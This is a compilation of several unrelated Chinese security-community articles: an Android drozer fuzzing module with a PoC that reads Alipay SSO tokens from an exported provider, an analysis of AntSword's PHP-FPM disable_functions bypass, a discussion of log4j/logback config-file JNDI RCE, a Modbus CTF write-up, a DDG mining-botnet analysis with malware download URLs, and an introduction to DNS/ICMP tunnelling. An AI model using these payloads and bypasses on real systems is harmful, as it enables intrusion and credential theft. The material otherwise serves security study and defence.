services = self.match_filter(package.services, 'exported', True)
self.stdout.write("Attack Surface:n")
self.stdout.write(" %d activities exportedn" % len(activities))
self.stdout.write(" %d broadcast receivers exportedn" % len(receivers))
self.stdout.write(" %d content providers exportedn" % len(providers))
self.stdout.write(" %d services exportedn" % len(services))
if (application.flags & application.FLAG_DEBUGGABLE) != 0:
self.stdout.write(" is debuggablen")
if package.sharedUserId != None:
self.stdout.write(" Shared UID (%s)n" % package.sharedUserId)
actions=[activities,receivers,services]
action_str=['activity','receiver','service']
i=-1
try:
for action in actions:
i+=1
if len(action) > 0:
for tmp in action:
try:
if len(tmp.name) > 0:
self.stdout.write(" [+]%s name:%sn" % (action_str[i],tmp.name))
self.attack(component=tmp, package=arguments.package, flags=action_str[i])
except Exception, e:
self.stdout.write(" error-->%s name:%sn" % (action_str,tmp.name))
self.stdout.write(" errorcontent:%sn" % e)
continue
except:
self.stdout.write(" error")
else:
self.stdout.write("No package specifiedn")
[drozer](http://www.droidsec.cn/tag/drozer/)
通过Module类的metadata来配置和管理每个模块,因此模块编写时需要包含以下 metadata信息:
name 模块的名称
description 模块的功能描述
examples 模块的使用示例
author 作者
date 日期
license 许可
path 描述模块命令空间
这些信息中比较重要的就是path变量，它描述了模块在drozer namespace中的路径，结合对应的classname可以唯一确定drozer中的模块。
例如上面脚本中的path = [“exp”, “fuzz”] 我们只要运行 `run
exp.fuzz.deny`加上脚本需要的参数（这里是包名）就能运行脚本。
drozer模块安装有两种方法，我们只讲其中一种，在repository中按照python包管理的方法新建目录结构，将python文件放入相应目录中。我们必须先在本地创建一个drozer
的repository目录，可以直接在drozer console中通过命令创建：
dz> module repository create [/path/to/repository]
创建好本地repository后就可以安装自己的模块了，按照python包管理的方式，在本地repository目录下创建目录exp,新建 **
**init****.py空白文件，然后将Python模块源码放入exp目录即可。例如将fuzz.py放入exp目录下
现在模块安装已经完成，可以开始测试了，首先开始运行前，我们要用logcat命令 `logcat | grep
java.lang.RuntimeException`‘查看崩溃的原因具体是由哪个activity造成的，接着就可以run起来啦
由上图可看出该app因为空指针而导致程序崩溃，然后就可以反编译查看对应的漏洞代码，接着写poc
附上我常用的poc和我在src提交的洞:
public class MainActivity extends Activity {
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button button =(Button) findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
/*
Uri uri=Uri.parse("content://com.alipay.ali.authlogin/aliuser_sdk_sso");
Cursor cursor=getContentResolver().query(uri, null, null, null, null);
if(cursor!=null){
String id=cursor.getString(cursor.getColumnIndex("loginId"));
String img=cursor.getString(cursor.getColumnIndex("headImg"));
String token=cursor.getString(cursor.getColumnIndex("alipaySsoToken"));
System.out.println(id);
//Toast.makeText(context, id+""+img+""+token, Toast.LENGTH_SHORT);
}
cursor.close();
*/
//Intent v2=new Intent("com.taobao.idlefish.DATA_EXPORT");
Intent v2=new Intent();
v2.setClassName("com.sina.weibo", "com.sina.weibo.xxx.xxx.xxx");
//v2.setClassName("tv.danmaku.bili", "com.mall.ui.base.MallSigalTaskWebFragmentLoadActivity");
//v2.addCategory("android.intent.category.BROWSABLE");
//v2.putExtra("id", "a");
//v2.putExtra("c", "exportData");
//v2.putExtra("_fragment", "com.mall.base.web.MallWebFragment");
//v2.setData(Uri.parse("file:///storage/emulated/0/tencent/MicroMsg/Download/2.html"));
//v2.putExtra("intent_bundle_nameintent_bundle_name","a");
//v2.putExtra("bundle_select_limit_num",1);
//v2.setData(Uri.parse(""));
startActivity(v2);
//startService(v2);
//sendBroadcast(v2);
}
});
}
} | 社区文章 |
蚁剑[更新了](https://mp.weixin.qq.com/s/19meSgARKj02QVd3G2jmlA)利用PHP-FPM实现bypass
disable_functions，学习一波
文中提到我（[@ttttmr](https://github.com/ttttmr)）的是[这个](https://github.com/ttttmr/php-fpm)，我想的是可以做免杀大小马，看Fastcgi Client放在哪一边了（放大马js里...）
不了解的同学可以先看以下文章
[Fastcgi协议分析 && PHP-FPM未授权访问漏洞 &&
Exp编写](https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)
[浅析php-fpm的攻击方式](https://xz.aliyun.com/t/5598)
[PHP 连接方式&攻击PHP-FPM&*CTF echohub WP](https://evoa.me/index.php/archives/52/)
[实战：2019 0ctf final Web Writeup（一）](https://www.4hou.com/web/18955.html)
其中*CTF echohub是利用不同ini配置bypass的，而0ctf
wallbreaker_not_very_hard是通过传PHP_ADMIN_VALUE，引入so库实现的
## 探索
基于蚁剑的`FastCGI/PHP-FPM`模式和[AntSword-Labs
5](https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5)环境
搭环境复现一遍蚁剑disable_functions肯定是少不了的，没有什么坑，就不多写了
很明显的是蚁剑在服务器上传了1个so库，和一个`.antproxy.php`
上服务器先看下`.antproxy.php`
<?php
set_time_limit(120);
$aAccess = curl_init();
curl_setopt($aAccess, CURLOPT_URL, "http://127.0.0.1:60049/index.php?".$_SERVER['QUERY_STRING']);
...
正如文件名，基本上就是代理向`127.0.0.1:60049`的`index.php`发送请求，60049居然还有Web,看下是什么东西
> Docker中没有`ss`或者`netstat`，需要自己装
> `apt update && apt install iproute`
ss看不到（为什么看不到？有师傅知道吗）
ps可以
> 需要`apt install procps`
`/bin/sh -c php -n -S 127.0.0.1:60049 -t /var/www/html`
看来是起了一个新的 PHP Server，-n就是不使用php.ini，从而实现了 bypass disable_functions
大致推测出是利用之前上传的so库实现的命令执行，然后跑了个 PHP Server
下面看下蚁剑干了什么，仓库在[这里](https://github.com/Medicean/as_bypass_php_disable_functions)
主要代码在`core/php_fpm/index.js`里了
启动PHP Server的代码，然后生成ext传到服务器上
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
...
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);
<https://github.com/Medicean/as_bypass_php_disable_functions/blob/7d28318c5f0a795dc96bda95e37d04a05b5bf2a2/core/php_fpm/index.js#L168>
构造攻击PHP-FPM的Payload，加载扩展库
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
...
'PHP_VALUE' => 'extension=${p}',
'PHP_ADMIN_VALUE' => 'extension=${p}',
<https://github.com/Medicean/as_bypass_php_disable_functions/blob/7d28318c5f0a795dc96bda95e37d04a05b5bf2a2/core/php_fpm/index.js#L197>
触发Payload后，就会执行启动一个新的PHP Server
后续shell都通过`.antproxy.php`代理用60049的PHP解析，也就没有disable_functions了
## ext分析
差不多了解了是如何实现的，剩下的一点疑点就是这个扩展已经能够执行命令了，为什么还要费这么大动静，起一个新的PHP，找到了之前Medicean大佬的disable_functions文章，PHP
Server和扩展的源头
<https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg>
看代码里是这样构造的
// 生成扩展
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0, end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
...
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
...
}
if(cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}
直接对二进制数据操作，在start到end中填入cmd（就是前面说到的命令）
找了一波没找到扩展源码，只能自己逆一下了，因为是Windows就选了x86的Dll
如此简单...system执行命令
二进制的角度看就是从`[`开始到`]`里面填命令
十分巧妙的实现了“动态”扩展，而且很通用
## 其他
以后Webshell执行命令方便多了，但是感觉再起一个PHP Server动静实在太大了
倒是完全可以单纯用扩展实现，但需要根据版本定制，不知道能不能有更通用的实现`5.x`，`7.x`
<https://github.com/phith0n/arbitrary-php-extension>
<https://micropoor.blogspot.com/2017/12/php.html>
更新[作者](https://github.com/Medicean)回复
>
> 可以可以，分析的没毛病。另外解答一下你提到的扩展问题，已经有一个[ant_php_extensions](https://github.com/AntSwordProject/ant_php_extension)项目了，扩展里定义了antsystem函数，核心里已经加进去了这个函数，你可以试一下。为什么不用扩展呢，上次的文章里已经提了一下，PHP在加载扩展的时候，首先会检查build的版本号，而且强制了小版本必须一致，所以你需要针对每个小版本编译一份扩展，并且在上传的时候判断一次，就比较麻烦了。另外，这个so的源码，就是你用IDA反编译出来的样子，直接用汇编写的，所以体积非常小 | 社区文章 |
**作者：p4nda
原文链接：<https://mp.weixin.qq.com/s/ckRnClp6a7LDQgCaSPR0qQ>**
## 写在前面
昨晚推特上一条博文引起了圈内的大量关注
夭寿啦！log4j 2.17.0 可以RCE 啦！！
然鹅：
嘘……
圈内人士嘘声一片……
修改配置文件 RCE？？就这就这？？？
那么修改配置文件来RCE到底是怎么“流行”起来的呢？
## 因
这件事还要从 Log4j 2 的 RCE 说起
在log4j2 的 GitHub项目有个 Pull：
<https://github.com/apache/logging-log4j2/pull/608>
一位叫“TopStreamsNet”的老外提到：
> 如果您查看 jndi 在 1.x 中的工作方式，您会发现有两个地方可以完成查找 - 即 JMSAppender.java:207 和
> JMSAppender.java:222 - 如果您将 TopicBindingName 或
> TopicConnectionFactoryBindingName 设置为 JNDI 可以处理的内容 -> 例如“ldap://host:port/a”JNDI 将做与 2.x 完全相同的事情 - 所以 1.x
> 是易受攻击的，只是攻击向量“更安全”，因为它取决于配置而不是用户 输入
然后通过配置文件 RCE 的这件事就开始讨论起来了
特别是 Log4j2 的作者回复到：
> 如果攻击者可以修改某个系统 S 上的配置文件，那么可以假设 S 已经被很大程度地渗透了。 如果攻击者可以修改 log4j.properties
> (log4j 1.x)，她就不需要下载恶意代码，她可以轻松地将恶意类文件放在类路径中并让它们执行。 因此，在非常严格的意义上，log4j 1.x
> 中存在漏洞，但与日志参数引起的 RCE 没有任何关系。
实际上可以看得出来，Log4j2 的作者一开始并不认同这个老外的观点，但有意思的来了
就在大家认为这个“漏洞”不是漏洞的时候，RadHat 出来作妖了：
<https://access.redhat.com/security/cve/CVE-2021-4104>
他们把这个由配置文件引起的 RCE 定义为漏洞，并且给了cvss v3 7.5的中危评分！
然后有人又在 log4j2 那个 pull 下面回复了：
路人：看，你看，RedHat 发了一个 CVE，而且还是7.5的评分！（实际上一开始给了 8.0）
当然，也有人回复到：
路人：TMD，ReaHat 你不懂规矩，不讲武德，人家 log4j 官方都没发话呢，你出来搞什么事情
后来迫于压力下，log4j 认了这个 CVE
> 我们决定保留 Red Hat 分配的 CVE，以节省创建另一个并拒绝他们的 CVE。
log4j 官方：行了行了，我认，我认还不行吗
至此，由log4j 在 pull 上讨论出的第一个 由配置文件引发 RCE的 CVE 被 RedHat折腾出来了
## 果
在log4j1 这个 CVE 发布前，实际上我就对“TopStreamsNet”这位老外提出的看法进行了研究：
TOP log4j 1.x 与 logback 的鸡肋RCE讨论：
<https://www.cnpanda.net/sec/1131.html>
并且我发现实际上log4j 1.x 的配置文件 RCE 并不能立刻生效，因为修改 log4j 1.x
的配置文件需要重新加载后才可以生效，在生产环境下谁闲着没事主动重启或者重新加载配置文件？
但 logback 不太一样，因为 logback 有个 **scan**
属性，可以自动扫描配置文件是否发生了改变，如果发生了改变，那么就会自动更新配置文件。所以研究的时候写了一个 SpringBoot 的演示Demo 发到了
GitHub 上。
凑巧的是，在 logback 的官方 issue 上看到一个提问，大意是 logback 中是否存在RedHat
发布的那个漏洞，然后我回复了之前那个SpringBoot 演示 Demo 的地址，后来
logback的作者也给分配了CVE-2021-42550，还发邮件问我要不要 credit
老外还是热心的，但是我觉得这漏洞本身限制很大很鸡肋，而且 **@香依香偎** 师傅在一年前就提出了这个利用方式：
<https://xz.aliyun.com/t/7351>
所以我拒绝了credit。
后来通过 **@TiGer** 师傅得知得知这个 logback 漏洞实际上出现过实际例子的利用：
可以参考：<https://www.cnblogs.com/zpchcbd/p/15542705.html>
## 总结
回过头来看看这个log4j 2.17.0 的配置文件 RCE，确实有点离谱，因为修改完配置文件后，它不像 logback
一样可以实时生效，属于鸡肋中的鸡肋了。
实际上 @pwntester 大神也说了：
> 大多数使用数据库的 Java 应用程序都有配置文件，您可以在其中指定 JNDI 地址以获取 JDBC 数据源
简单搜索发现，可以通过 JNDI设置配置文件的部分应用如下：
**jetty**
<https://wiki.eclipse.org/Jetty/Feature/JNDI#Configuring_JMS_Queues.2C_Topics_and_ConnectionFactories>
**Apache ODE**
<https://ode.apache.org/using-a-jndi-datasource-under-servicemix-jbi.html>
**Apache Shrio**
<https://shiro.apache.org/static/1.3.2/apidocs/org/apache/shiro/jndi/JndiTemplate.html>
<https://www.programmerall.com/article/1371213168/>
**Tomcat**
<https://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.html>
**TomEE**
<https://tomee.apache.org/jndi-names.html>
**SpringBoot**
<https://blog.roncoo.com/article/133919>
等等等
太多太多了，实际上正如@pwntester说的那样，JNDI
类似于在一个中心注册一个东西，以后要用的时候，只需要根据名字去注册中心查找，注册中心返回你要的东西。比如在
web应用中，我们可以将一些东西（最常用的就是数据库相关的配置信息）交给服务器软件去配置和管理，在程序代码或者配置文件中只要通过名称查找就能得到我们注册的东西，而且如果注册的东西有变，比如更换了数据库，我们只需要修改注册信息，名称不改，因此代码也不需要修改。
这是SUN公司提供的一种 **标准的Java命名系统接口** ，是一种 **特性** ，因此一般来说，只要存在 JNDI 的地方，都能够利用 ldap
协议去实现 RCE，当然，不仅仅是 ldap 协议，实际上还有很多可用的协议：
总之，我认为log4j 2.17.0这个 CVE，分配了就算了，但过分的是，这老外还好意思发表在推特上来说log4j 2.17.0又出 RCE
漏洞（刷洞就刷洞，还吆喝一嗓子，结果还是这漏洞，不是让别人像吃了屎一样难受吗）
一句话总结： **通过配置文件来实现 RCE，只能说是一种攻击手段，而不能说是一种常规漏洞。**
* * * | 社区文章 |
# 工控安全入门（一）—— Modbus协议
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近参加了工控安全方面的比赛，也了解了一些工控安全方面的知识，这次就和大家分享一下工控领域常用的modbus协议的相关知识。
## modbus基础知识
modbus协议最初是由Modicon公司在1971年推出的全球第一款真正意义上用于工业现场的总线协议，最初是为了实现串行通信，运用在串口（如RS232、RS485等）传输上的，分为ModbusRTU、Modbus
ASCII两种，后来施耐德电气将该公司收购，并在1997年推出了基于TCP/IP的Modbus TCP。现在使用最多的就是Modbus
TCP了，我们今天的主角也是它。
Modbus作为一种通信协议，它和我们之前介绍的Zigbee有很大不同，Zigbee有自己完整的协议栈，而Modbus是一种应用层的报文传输协议，它既可以在物理层面上选择串口进行简单的串行通信，也可以使用TCP的方式进行传输。
上图可以看到Modbus的协议栈仅仅是在传统ISO/OSI模型的基础上对数据链路层和应用层做了定义。也正是因为modbus是应用层的协议，所以它的安全漏洞并不只是它本身，TCP/IP的漏洞也可以利用在modbus上，最典型的就是18年工控比赛的题目，中间人。
modbus是一种主从协议，主设备的一方向从设备的一方下达指令，从设备的一方根据指令做出反应并回复主设备，主设备可以有多个从设备。具体来说，工作人员的计算机可认为是master，而PLC之类的具体设备就是slave了。每个设备有自己的“代号”，主设备通过“代号”来找到某一个对应的设备，当然也可以使用广播的方式，代号0即为广播。
从协议栈还可以看到，Modbus有自己的数据链路层定义，其实主要是对于传输数据格式和校验等方面的规定。具体来说，modbus定义了自己的数据单元，功能码与具体的数据组成了PDU（协议数据单元
Protocol Data
Unit），所谓的功能码也就是代表了主向从下达的指令是什么，这是很重要的一个知识，后面我们会具体讲功能码代指的功能，数据也就是这次指令要用到的“参数”。
很显然，只有PDU并不够，我们还需要知道从设备的“代号”才能知道数据往哪发，还要想办法保证数据的完整性、一致性和可靠性。所以在PDU的基础上我们还需要添加一个地址，和一个差错校验，这就构成了ADU（Application
Data Unit）。但要注意，由于三种Modbus在传输中存在差异，所以ADU，特别是校验部分会有不同。
## modbus功能码
前面说过通过功能码主设备能够对从设备下达指令，功能码有效范围在1~255之间。其中大部分都是保留的，如128-255为异常响应保留，举几个栗子：
* 01 读线圈状态
* 02 读离散输入状态
* 03 读保持寄存器
* 04 读输入寄存器
* 05 写单个线圈
可能看到这里大家就懵了，这都是啥啊。其实很简单，modbus可以说是将读写指令分为了两大类，一类是离散的，也就是位操作，非1即0；第二类是模拟的，也就是数字，可以叫做字操作。而每一类下面都有输出和输出之分，于是就有了下面四种说法：
* DO（digital output 数字量输出），所谓线圈就是离散的输出状态，01即读一个离散的输出状态，举个不恰当的栗子，你家灯泡接到某个控制器上（实际上并不会存在这种情况……），我们可以通过01加上数据，比如1，让他亮，加上0，让他灭。
* DI （digital input 数字量输入），所谓的离散输入就是它，还是上面的栗子，我们想知道灯的开关是咋样的呢？就用02指令看看，如果是1，哦，按下去了，如果是0就是没按。通过这个不恰当的栗子我们大概也可以猜到，这是不可写的（如果你随便一个指令把开关给按死了，那我这灯不是彻底开不了了？），可以理解为外部对工控系统所带来的“开关”影响。
* AO（AnalogOutput 模拟输出），保持寄存器的功能，和DO最大的不同就是它不再是0或1，可以是一个数值，比如，我们设定的PID运行参数，或者是温度的上下限等等
* AI（Analog Input 模拟输入），也就是输入寄存器，和DI一样，可读但不可写，可以理解为外部对于系统的多位输入
当然有写单个的就必然有写多个的，比如15就是写多个线圈，16是写多个保持寄存器。此外还有读文件记录的20，写文件记录的21，获取异常状态的08等等，这里就不在多说了，具体的大家可以自行查看手册。
当然，说到功能码就不得不提Modbus在施耐德设备上的一个重要漏洞了。这就是在defcon上展示过的fun with
0x5a，这个0x5a的功能码是由施耐德自己实现的非标准的功能码，该功能码实现了Modbus标准未允许的功能。在defcon中大佬为我们展示了以下几项
* 获取项目和PLC信息
* 开启、停止PLC
* 下载程序
* 更改程序
这里先不做过多介绍，在之后我们再详细看一看0x5a攻击的流量包。
## Modbus TCP
上面说了我们这次的主角是Modbus TCP。我们可以通过wireshark对Modbus的流量包进行抓取进而观察Modbus TCP的数据格式
Transaction identifier ： 事务标识符
Protocol identifier ： 默认为0
Length : 数据的长度
Unit identifier ： 从机地址，因为使用了TCP/IP所以用ip地址来标识从机，所以该位可忽视，或者做进一步分发
Function code ： modbus的功能码
Data ：具体的数据
可以看到在遵从TCP/IP的基础上Modbus加了自己的修改，主要有以下三个部分：
* 由于TCP/IP本身具有数据校验部分，所以ADU的差错校验没有了
* 实用ip可以确定从机，ADU的附加地址也不再有效。但是目标可以继续是一个主机，再向其他从机发送数据，这时ADU的附加地址可以作为下一个主机分发数据包时的地址。
* 增加了TCP/IP的头部，比如length、协议标识符等
## Modbus赛题及漏洞
### 2019工控安全比赛 线上赛第一场 Modbus题目（第一版）
首先说明一下，这个题目就是前不久工控比赛的线上赛第一场的签到题，但貌似后来又换了个附件，因为也不知道题目是否正确，这里就不再追求flag了，看一下题目本身涉及的知识点。
首先wireshark打开pcap流量包
可以看到在tcp握手后就是清一色的func
90。这就是上面我们提到过的施耐德高危功能码，它是施耐德自定义的非标准功能码，功能及其强大，就相当于root般强大。
这个高危功能码是通过Unity Pro与PLC通信时发送的，Unity
Pro像其他开发工具一样提供了stop、读取项目信息、debug、修改代码等功能，这些功能并没有办法通过标准的指令码发送，所以就有了0x5a（也就是90）。后来，工控安全研究和顾问公司Digital
Bond在metasploit上放出了0x5a的poc，再后来defcon上有人做了”fun with modbus
0x5a“的演讲，这个漏洞算是被熟知了。
首先看第一个Modbus的数据包，我们前面说过，Modbus作为主从协议，必然是主发从响应的，也就是说，在该环境下，100为主机，而253很显然就是从设备了。功能码是0x5a高危功能，携带数据为0002，此时，我们并不知道该功能到底做了什么。
接着看返回的包
可以看到它符合我们前面对于Modbus的说明，指令码同样是0x5a，同时带回来一部分数据，没有进行任何的加密，直接解码发现存在字符串140 CPU 311
10
>>> str.decode("hex")
"x00xfex10xffZx01x01x00x00x00px02x00x00'x00tx00x08x00x00x00x00x00x0e140 CPU 311 10x01x01x01x00x00x00x00x11x00"
搜索后发现是施耐德家的一款产品，就是下面图上的家伙
我们可以推测，上面的指令应该是在获取从机的设备信息。往下走还可以看到有这样一个数据包
它的回复则是这样的
Project字符串很明显，而x0cx3bx0cx0ex01xdex07是项目文件上次修改的日期，x08x00x00是项目的修订号，翻译成人话就是项目在2017年1月14日12时59分12秒进行了第8版的修改
继续向下探索还可以发现诸如”USER-714E74F21B“之类的字符串，可以看到它获得了大量的设备及项目相关信息。再往下就不在具体分析了，有兴趣的可以自行研究。（建议去利用unity
Pro操作，抓取相应的流量包来分析具体0x5a的data功能）
我们可以利用主机的流量包还原出攻击者的脚本，实际上就是类似funwithmodbus0x5a的攻击脚本，大家去github下载，msf上也有相应的。
### 2019工控安全比赛 线上赛第一场 Modbus题目（第二版）
这个题目是真的签到题，非常简单……首先还是看一下流量包
可以看到，比起上一个这个可太友善了……都是些正常的功能码。23是主机，33则是从机，没什么很明显的TCP/IP攻击的痕迹，整体看上去没啥问题。
接下来就该考虑是否有数据的写入，flag很有可能就是写入的数据。那么首先排除12345的功能码，因为flag既不可能是位操作，也不可能是字操作，都太短了，所以聚焦的就应该是包长度大的，或者是类似16功能码那样写多个字的指令。
这里给出我的脚本，是第二种思路，也就是筛选1234之外功能码的包并打印内容
import pyshark
func_code = [1,2,3,4]
def find_flag():
pcap = pyshark.FileCapture("q1.pcap")
for c in pcap:
for pkt in c:
if pkt.layer_name == "modbus":
temp = int(pkt.func_code)
if temp not in func_code:
payload = str(c["TCP"].payload).replace(":", "")
print("content[*] is " + payload)
也可以用[scu–igroup](https://github.com/scu-igroup/ctf_ics_traffic)老哥的脚本，用第一种思路，找长度最大的包提取数据，结果相同（速度还很快…自己写的脚本在遇到流量包很大的情况下速度很慢）
转换为ascii码就得到了最终答案
### 2018工控安全比赛 线上赛第一场 Modbus题目
这个题目就涉及到了Modbus在TCP上的漏洞了，首先我们还是看看题目给的流量包
说真的一看这包我当时就愣了，这啥玩意，一个modbus的包咋这么多tcp呢？定睛一看才发现都是TCP的重传，说明啥？说明有可能是中间人攻击啊。
但是，其实这个题目的中间人其实并没有什么关系……因为我们要的是流量，而modbus的长流量必然是在1234四个功能码之外的……当然这道题还有变数，因为存在S7comm，所以其中也有可能藏有flag，所以我们先手动检查S7comm，发现没有重要信息后，再来进行下一步
还是上一个题目的脚本，很容易找到相应的流量
这段数据不是传统的data，进行了加密，所以我一时陷入了僵局，只能通过胡乱组合最终还真碰巧出来了…….因为我并没有参加18年的工控比赛，所以我不知道当时主办方给没给加密方法，但搜到的题目中有相应的解密脚本，如下：
#!/usr/bin/python
#coding:utf-8
coils_bytes = 'c29e46a64eeaf64e3626c2ae0ec2a22ac24c0c8c1c'.decode('hex')
print len(coils_bytes)
flag = ''
for data in coils_bytes:
#print int('{:08b}'.format(ord(data)))
#print int('{:08b}'.format(ord(data)), 2)
#print int('{:08b}'.format(ord(data))[::-1])
#print int('{:08b}'.format(ord(data))[::-1], 2)
#print int('{:08b}'.format(ord(data)),2),int('{:08b}'.format(ord(data))[::-1], 2)
flag += chr(int('{:08b}'.format(ord(data))[::-1], 2))
print flag
这里还有个坑，我跑脚本时没有过滤掉data外其他的数据，所以导致脚本跑不出来……因为19年那个题没加密直接转字符就成，所以我也没注意到这个问题（实际上就是截图中flag意外的奇怪字符），只能手动找到了相应的流量包提取了data……
最终flag为
## 总结
通过上面几道题目可以看到modbus目前在ctf中还是以简单题目为主，基本上就是过滤出特殊功能码的流量包进行简单的转换即可，但实际上modbus的还存在许许多多的安全隐患，未来有很多可以出题的点。
* 传统TCP/IP存在的问题，比如18年的中间人攻击，虽然并没有涉及到过多的知识点，但毫无疑问这方面可以做文章
* 异常的功能码，比如19年的第一版，施耐德的高危功能码，这是非常难的，从之前的分析可以看到这些保留的功能码在厂商自定义后对于我们普通的参赛选手来说是很难真正读懂流量包的，需要配合相应的正向使用知识，和正向使用的流量包来进行学习
* 认证、授权、加密的一系列问题。从题目可以看到，该协议根本没有认证方面的定义，攻击者需要的仅仅是一个合适的ip地址而已，至于授权更是无从谈起，加密方面也是漏洞百出。
* 缓冲区溢出，未来没准会出现pwn？
这次参加工控比赛收获了不少新知识，也花了不少时间来消化，算是开启了一个新领域的学习，以后也会在这方面多下点功夫，希望能拿个好成绩。 | 社区文章 |
# DDG挖矿僵尸网络病毒最新变种分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，公司攻防实验室接到客户反馈服务器异常卡顿，疑似感染挖矿病毒，经过安全工程师分析之后确定感染了DDG挖矿病毒，版本为5019和5020。
黑客通过SSH爆破或漏洞攻击利用进行入侵，入侵成功后会执行远程下载名为i.sh的shell脚本，DDG5019和5020版本区别在于是否使用UPX加壳。
以下是对该病毒进行的若干研究和分析，如有疏漏和错误，欢迎广大读者指正。
## i.sh脚本
该脚本主要功能是写入定时任务用于持久化，下载ddgs母体二进制文件，分为32位和64位；之后将下载的ddgs病毒母体重命名为mbdh139c，赋予权限并执行；清除历史版本的进程。
而此次的5020的i.sh版本中的下载链接替换成了域名的形式，并且每次访问域名都会随机替换。
## ddgs
ddg母体的主要功能有自我文件拷贝、下载挖矿进程、使用漏洞感染其他设备。
此次捕获的ddg病毒母体相比之前400X的版本有些许变化，首先是去掉了main__backdoor_background和main__backdoor_injectSSHKey两个函数，即去掉了之前所用的后门功能。
之前版本使用了hashicorp的go开源库memberlist来构建分布式网络，在5020中也去掉了，使得病毒母体整体文件大小缩小了不少，可能更有利于传输。
5020版本中新增了自我文件拷贝，随机命名的功能。
程序中使用的漏洞利用模块也是沿用了之前版本（CVE-2017-11610、CVE-2019-7238、redis、SSH），并无新增远程漏洞利用方式。
## 挖矿程序
首先ddg母体会通过main_NewMinerd下载创建新的挖矿进程，然后main__minerd_Update对挖矿程序进行更新，最后调用main__minerd_killOtherMiners清除竞争对手的挖矿木马。
挖矿程序使用的是xmrig编译的
## 清除方案
1、清除到定时任务，相应的定时任务文件
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/root
2、删除及结束掉DDG母体相关文件和进程，如下
/usr/bin/mbch139c
/usr/libexec/mbch139c
/usr/local/bin/mbch139c
/tmp/mbch139c
ps -ef | grep -v grep | egrep ‘mbch139c’ | awk ‘{print $2}’ | xargs kill -9
3、查找相应的挖矿程序并删除及结束掉挖矿进程，如下
删除在临时目录下/tmp/netflix文件
ps -ef | grep -v grep | egrep ‘netflix’ | awk ‘{print $2}’ | xargs kill -9
安全建议
1、对于redis、SSH使用高强度的密码
2、及时修复Redis、Nexus Repository Manager、Supervisord服务相关的高危漏洞。
IOCs
URL：
ddg 5020
hxxp://111.229.129.150:39127/i.sh
hxxp://111.229.129.150:39127/static/5020/ddgs.i686
hxxp://111.229.129.150:39127/static/5020/ddgs.x86_64
hxxp://111.229.129.150:39127/static/netflix
ddg 5019
hxxp://111.229.129.150:39127/i.sh
hxxp://111.229.129.150:39127/static/5019/ddgs.i686
hxxp://111.229.129.150:39127/static/5019/ddgs.x86_64
## | 社区文章 |
# 隧道技术之DNS和ICMP与其检测防御
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简述
为了逃避监测，绕过杀软，更好的隐藏自身，很多木马的传输层都使用了隧道技术,那什么是隧道技术（我是谁）？其传输有什么特点（我从哪里来）？隧道技术的现状是怎样的呢（我到那里去）？连问三连击：）
**隧道技术（Tunneling）** ：是一种通过使用互联网络的基础设施在网络之间传递数据的方式，使用隧道传递的Data(数据)或 Payload
(负载）可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包，重新封装然后通过隧道发送，新的帧头，提供路由信息，以便通过互联网传递被封装的
Payload。
**数据传输特点（Feature）** ：不通过网络直接发送数据包，通过封装技术在另一个(通常是加密的)连接中发送数据。
现状：传统socket隧道已极少，TCP、UDP 大量被防御系统拦截，DNS、ICMP、http/https 等难于禁止的协议已成为黑客控制隧道的主流。
上面我们了解了隧道技术，不知你是否会好奇 DNS 隧道为什么会有那么强大？一方面是因为 DNS
报文具有天然的穿透防火墙的能力;另一方面,目前的杀毒软件、IDS 等安全策略很少对 DNS
报文进行有效的监控管理：）接下来我们来回顾下这样几个典型的攻击事件中用到的隧道木马的特点。
### ALMA Communicator From OilRig黑客组织
它使用了 DNS 隧道来作为 C2 通信信道，使用了专门的子域名来给 C2 服务器传输数据，服务器使用了专门的 IPv4 地址来给木马发送数据。
木马构造的C2域名结构
DNS查询时的结构
> Read More!!! <https://www.anquanke.com/post/id/87228>
### Trojan.Win32.Ismdoor.gen
该木马使用 DNS 隧道，并将传出“datagrams”（数据报）的长度被限制在 60 字符，C&C服务器的命令解析到 IPv6 地址，一个典型的查询发送到
C&C 服务器如下:
n.n.c.<Session ID >.<Serverdomain>.com
传输层请求和响应的结构
> Read More!!! <http://www.4hou.com/info/news/10250.html>
### XshellGhost
在发送数据包时，会将数据嵌套到 DNS 协议中发送，其中数据会编码成特定的字符串，添加在要配置文件中的 CCDNS URL 前，实现 DNS 隧道通讯。
Xshell DNS 隧道通讯编码
Xshell DNS 隧道通讯源码
> Read More!!! <http://www.4hou.com/technology/7368.html>
相信机智的你已经看出来了🙂这些DNS隧道的木马都有一个共性，它们的 DNS
通信协议，看起来都比较奇怪，对，就是不正常；那么我们该如何去检测！,目前主要分为两大类:载荷分析和流量监测。
载荷分析：把主机名超过52个字符的 DNS 请求作为识别 DNS 隧道的特征.（正常的域名满足 Zipf 定律,而走 DNS 隧道的域名遵循的是随机分布）
流量监测：检测网络中的 DNS 流量变化情况，通过检测单位时间内 DNS 报文流速率来检测是否存在DNS隧道，利用检测 txt 类型的 DNS
报文来发现僵尸网络的通信情况。
## 实验环境
在接下来的环节中，我会利用 Github 上常见的开源隧道工具如 dnscat2、Reverse_DNS_Shell、icmpsh、icmptunnel
